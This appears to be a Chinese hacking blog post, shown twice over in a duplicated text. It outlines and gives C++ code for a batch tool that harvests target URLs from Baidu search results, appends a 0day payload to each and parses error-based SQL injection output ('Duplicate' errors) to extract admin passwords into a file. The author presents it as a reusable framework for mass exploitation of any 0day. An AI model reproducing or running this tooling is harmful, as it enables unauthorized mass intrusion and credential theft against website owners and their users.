1、得到百度搜索的结果
for (nBaiDuPage=100;nBaiDuPage<200;nBaiDuPage++)
{
//int 转换成string
sprintf(tmpChar,"%d",nBaiDuPage);
tmpStr=tmpChar;
tmpStr=sUrlFromBaiDu+tmpStr;
GetResult("date.html","result.txt","\"g\">",
"/",tmpStr);
2、读出链接,实现访问并得到返回的信息,注意,是报错的返回结果
3、循环测试,找到特征字符,有则读出并保存
测试主要源码
while(fgets(buf,255,fResult))//
{
FILE *fp = fopen("tmp.txt", "w"); //
sUrlFromResult=buf;
nRN=sUrlFromResult.find("\r\n",0);
if (nRN>0)
{
sUrlFromResult=sUrlFromResult.substr(0,nRN);
}
sUrl=sUrlHeader+sUrlFromResult+sOday;
cout<<"测试第"<<jishu<<"个链接"<<"\r\n";
.....
nret=sBuffer.find("Duplicate ",0);
if (nret>0)
{
cout<<"GoodJob!";
cout<<"\r\n";
nlast=sBuffer.find("'",nret+20);
substrTmp=sBuffer.substr(nret+17,nlast-nret-17);
fUrlAdminPwd<<sUrlFromResult.c_str();
fUrlAdminPwd<<" result:";
fUrlAdminPwd<<substrTmp.c_str();
fUrlAdminPwd<<"\r\n";
fUrlAdminPwd.flush();
}
}
}
运行效果
这个写的是个框架,我们可以随意改变0day就可以实现该0day的批量工具,所以只给出了思路,没有全部放出源码。
for (nBaiDuPage=100;nBaiDuPage<200;nBaiDuPage++)
{
//int 转换成string
sprintf(tmpChar,"%d",nBaiDuPage);
tmpStr=tmpChar;
tmpStr=sUrlFromBaiDu+tmpStr;
GetResult("date.html","result.txt","\"g\">",
"/",tmpStr);
2、读出链接,实现访问并得到返回的信息,注意,是报错的返回结果
3、循环测试,找到特征字符,有则读出并保存
测试主要源码
while(fgets(buf,255,fResult))//
{
FILE *fp = fopen("tmp.txt", "w"); //
sUrlFromResult=buf;
nRN=sUrlFromResult.find("\r\n",0);
if (nRN>0)
{
sUrlFromResult=sUrlFromResult.substr(0,nRN);
}
sUrl=sUrlHeader+sUrlFromResult+sOday;
cout<<"测试第"<<jishu<<"个链接"<<"\r\n";
.....
nret=sBuffer.find("Duplicate ",0);
if (nret>0)
{
cout<<"GoodJob!";
cout<<"\r\n";
nlast=sBuffer.find("'",nret+20);
substrTmp=sBuffer.substr(nret+17,nlast-nret-17);
fUrlAdminPwd<<sUrlFromResult.c_str();
fUrlAdminPwd<<" result:";
fUrlAdminPwd<<substrTmp.c_str();
fUrlAdminPwd<<"\r\n";
fUrlAdminPwd.flush();
}
}
}
运行效果
这个写的是个框架,我们可以随意改变0day就可以实现该0day的批量工具,所以只给出了思路,没有全部放出源码。